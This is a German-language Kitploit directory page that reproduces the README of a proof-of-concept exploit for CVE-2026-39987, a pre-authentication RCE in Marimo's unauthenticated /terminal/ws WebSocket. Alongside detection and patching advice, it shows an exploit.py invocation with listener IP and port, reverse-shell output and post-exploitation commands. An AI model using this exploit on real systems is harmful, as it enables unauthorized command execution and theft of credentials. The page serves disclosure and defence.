Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-39987 — Proof-of-Concept-Exploit für die Pre-Authentication-RCE von Marimo. Nutzt den nicht authentifizierten WebSocket-Endpunkt /terminal/ws, um eine PTY zu erzeugen und eine Reverse-Shell aufzubauen. | Kitploit
Tools/GitHubGitHub/k3ystr0k3r/cve-2026-39987
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubk3ystr0k3r/cve-2026-39987

CVE-2026-39987

Proof-of-Concept-Exploit für die Pre-Authentication-RCE von Marimo. Nutzt den nicht authentifizierten WebSocket-Endpunkt /terminal/ws, um eine PTY zu erzeugen und eine Reverse-Shell aufzubauen.

Repository anzeigen
vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-39987 — Marimo RCE vor der Authentifizierung

CVE CVSS CWE Marimo

CVE-2026-39987 ist eine kritische Remote-Code-Ausführung (RCE) vor der Authentifizierung, die Marimo, eine reaktive Python-Notebook-Umgebung, betrifft.

Die Schwachstelle befindet sich im Terminal-WebSocket-Endpunkt von Marimo:

root@kitploit:~
/terminal/ws

Der Endpunkt hat die Authentifizierung vor der Erstellung einer Terminalsitzung nicht ordnungsgemäß erzwungen. Infolgedessen kann ein nicht authentifizierter entfernter Angreifer, der eine verwundbare Marimo-Instanz erreichen kann, eine WebSocket-Verbindung aufbauen und eine interaktive PTY-Shell erhalten.

Es sind keine gültigen Anmeldedaten erforderlich.


Zusammenfassung der Schwachstelle

EigenschaftWert
CVECVE-2026-39987
ProduktMarimo
SchwachstelleRemote-Code-Ausführung vor der Authentifizierung
AngriffsvektorNetzwerk
AuthentifizierungNicht erforderlich
BenutzerinteraktionNicht erforderlich
CWECWE-306 — Fehlende Authentifizierung für kritische Funktion
SchweregradKritisch
Behobene Version0.23.0

Die Schwachstelle wurde durch eine inkonsistente Durchsetzung der Authentifizierung zwischen den WebSocket-Endpunkten von Marimo verursacht.

Während andere WebSocket-Funktionen eine Authentifizierungsprüfung durchführen, konnte der verwundbare /terminal/ws-Endpunkt eine Verbindung akzeptieren, ohne zuvor den Aufrufer zu validieren.


Grundursache

Der verwundbare Terminal-Endpunkt erstellt nach dem Akzeptieren einer WebSocket-Verbindung ein interaktives PTY.

Konzeptionell sieht der verwundbare Anforderungsablauf wie folgt aus:

root@kitploit:~
Remote Client
     |
     | WebSocket connection
     v
/terminal/ws
     |
     | Missing authentication validation
     v
WebSocket accepted
     |
     v
PTY created
     |
     v
Interactive shell

Die wichtige Sicherheitsgrenze ist die fehlende Authentifizierungsprüfung.

Ein Endpunkt, der die Ausführung beliebiger Befehle ermöglicht, darf es einem nicht authentifizierten Client nicht erlauben, bis zur PTY-Erstellungslogik zu gelangen.


Auswirkungen

Eine erfolgreiche Ausnutzung kann die Ausführung beliebiger Befehle mit den Rechten des Marimo-Prozesses ermöglichen.

Abhängig von der Bereitstellungskonfiguration kann dies einem Angreifer Folgendes ermöglichen:

  • Beliebige Betriebssystembefehle ausführen
  • Anwendungsdateien lesen
  • Auf Umgebungsvariablen zugreifen
  • Auf Anmeldedaten zugreifen, die für den Marimo-Prozess verfügbar sind
  • Auf Dateien zugreifen, die in den Container eingebunden sind
  • Weiter in eine interne Umgebung pivotieren
  • Den zugrunde liegenden Host oder Container kompromittieren, wenn übermäßige Rechte verfügbar sind

Die Auswirkungen sind für Notebook-Umgebungen besonders erheblich, da diese häufig Zugriff auf Datensätze, APIs, Anmeldedaten, Cloud-Ressourcen und Entwicklungsinfrastruktur haben.


Proof of Concept

Warnung: Führen Sie den PoC nur gegen Systeme aus, die Ihnen gehören oder für die Sie ausdrücklich zum Testen autorisiert sind.

Dieses Repository enthält einen PoC zur Demonstration der Schwachstelle in einer kontrollierten Umgebung.

Das folgende Beispiel zeigt die Ausnutzung gegen eine lokale/Labor-Instanz.

Starten des verwundbaren Ziels

Zum Beispiel:

root@kitploit:~
http://127.0.0.1:8081

Die verwundbare Marimo-Instanz sollte ausgeführt werden, bevor der PoC gestartet wird.


PoC starten

Beispiel:

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:8081 \
    --host 192.168.101.130 \
    --port 5555

Wobei:

root@kitploit:~
-u       Target Marimo instance
--host   Listener IP
--port   Listener port

Der PoC stellt die verwundbare Terminalverbindung her und wartet auf die daraus resultierende Shell-Verbindung.

Beispielausgabe:

root@kitploit:~
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882

Shell-Demonstration

Nach erfolgreicher Ausnutzung erhält der Angreifer eine Shell, die mit den Rechten des Marimo-Prozesses läuft.

Aktuellen Benutzer ermitteln

root@kitploit:~
whoami

Beispiel:

root@kitploit:~
marimo

Prozessidentität überprüfen

root@kitploit:~
id

Beispiel:

root@kitploit:~
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

Dies zeigt, dass beliebige Befehle remote als das Konto marimo ausgeführt werden.


Dateisystem-Demonstration

Der PoC kann auch den Zugriff auf das Dateisystem demonstrieren, das dem kompromittierten Prozess zur Verfügung steht.

root@kitploit:~
ls -la

Beispiel:

root@kitploit:~
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py

Wechseln zum Dateisystem-Rootverzeichnis:

root@kitploit:~
cd /
ls

Beispiel:

root@kitploit:~
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace

Dies bestätigt, dass die Remote-Shell normalen Dateisystemzugriff hat, vorbehaltlich der Rechte und Container-Einschränkungen des Marimo-Prozesses.


Ausnutzungskette

Die vollständige Schwachstellenkette lässt sich wie folgt zusammenfassen:

root@kitploit:~
1. Attacker discovers exposed Marimo instance
                |
                v
2. Attacker connects to /terminal/ws
                |
                v
3. Authentication is not enforced
                |
                v
4. WebSocket connection is accepted
                |
                v
5. PTY terminal is created
                |
                v
6. Attacker obtains command execution
                |
                v
7. Commands execute as the Marimo process

Der kritische Sicherheitsfehler tritt bei Schritt 3 auf.


Erkennung

Mögliche Anzeichen einer Ausnutzung sind unerwartete WebSocket-Verbindungen zu:

root@kitploit:~
/terminal/ws

sowie ungewöhnliche Prozessaktivitäten, die vom Marimo-Server ausgehen.

Verteidiger sollten Folgendes untersuchen:

  • Unerwartete Verbindungen zum Terminal-WebSocket-Endpunkt
  • Unerwartete Shell-Prozesse, die von Marimo gestartet wurden
  • Verdächtige Kindprozesse
  • Unerwartete ausgehende Verbindungen
  • Zugriff auf sensible Umgebungsvariablen
  • Unerwartete Dateisystemaktivitäten
  • Unbekannte Befehle, die vom Marimo-Prozess ausgeführt wurden

Behebung

Aktualisieren Sie Marimo auf eine behobene Version:

root@kitploit:~
0.23.0 or later

Zusätzlich:

  • Setzen Sie Marimo nicht direkt dem öffentlichen Internet aus, es sei denn, es ist notwendig.
  • Platzieren Sie Notebook-Dienste hinter einem authentifizierenden Reverse-Proxy.
  • Beschränken Sie den Netzwerkzugriff auf vertrauenswürdige Benutzer und Netzwerke.
  • Führen Sie Marimo mit den minimal erforderlichen Rechten aus.
  • Vermeiden Sie das Einbinden sensibler Host-Verzeichnisse in den Container.
  • Rotieren Sie Anmeldedaten, die für kompromittierte Instanzen möglicherweise zugänglich waren.
  • Überprüfen Sie Protokolle auf verdächtige /terminal/ws-Aktivitäten.
  • Untersuchen Sie potenziell kompromittierte Instanzen, anstatt anzunehmen, dass das Patchen allein die Persistenz des Angreifers beseitigt.

Sicherheitsklassifizierung

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severity:   Critical
Type:       Pre-Authentication RCE
Protocol:   WebSocket
Endpoint:   /terminal/ws
Auth:       None required
Fixed:      0.23.0

Referenzen

  • NVD — CVE-2026-39987
  • GitHub Security Advisory — GHSA-2679-6mx9-h9xc
  • Marimo-Sicherheitshinweis und Patch
  • CISA-Katalog bekannter ausgenutzter Schwachstellen

Haftungsausschluss

Dieses Projekt wird für Sicherheitsforschung, Schwachstellenvalidierung und Bildungszwecke bereitgestellt. Verwenden Sie den PoC nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

Tool herunterladen